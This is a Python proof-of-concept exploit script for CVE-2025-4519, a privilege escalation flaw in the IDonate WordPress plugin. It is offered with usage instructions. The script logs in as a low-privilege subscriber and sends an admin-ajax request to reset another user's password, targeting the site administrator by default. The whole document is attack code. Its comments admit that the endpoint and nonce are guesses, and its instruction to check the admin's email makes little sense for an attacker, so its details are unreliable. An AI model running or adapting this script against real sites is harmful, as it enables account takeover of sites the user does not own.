CVE-2025-4519

import requests import sys from urllib.parse import urljoin # CVE-2025-4519 PoC - IDonate Plugin Privilege Escalation # Affected versions: 2.1.5 to 2.1.9 # Target: WordPress site with IDonate plugin installed def exploit_privilege_escalation(target_url, username, password, target_user_id=1): """ Exploit IDonate plugin privilege escalation vulnerability. Allows authenticated users (subscriber+) to reset any user's password. Args: target_url: Target WordPress site URL username: Valid WordPress username (subscriber role or higher) password: Password for the username target_user_id: Target user ID to reset password (default: 1 = admin) Returns: bool: True if exploit was sent successfully """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Trigger password reset via vulnerable function # The vulnerable endpoint is typically in the IDonate plugin reset_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # This is a typical pattern - actual endpoint may vary reset_data = { 'action': 'idonate_donor_password', 'user_id': target_user_id, 'nonce': 'exploit' # May need to be obtained from page source } print(f'[*] Attempting to reset password for user ID: {target_user_id}') response = session.post(reset_url, data=reset_data) if response.status_code == 200: print('[+] Password reset request sent!') print('[+] Check admin email for password reset link.') return True else: print(f'[-] Request failed with status: {response.status_code}') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password> [target_user_id]') print(f'Example: python {sys.argv[0]} http://example.com/ attacker subscriber123 1') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_id = int(sys.argv[4]) if len(sys.argv) > 4 else 1 exploit_privilege_escalation(target, user, pwd, target_id)

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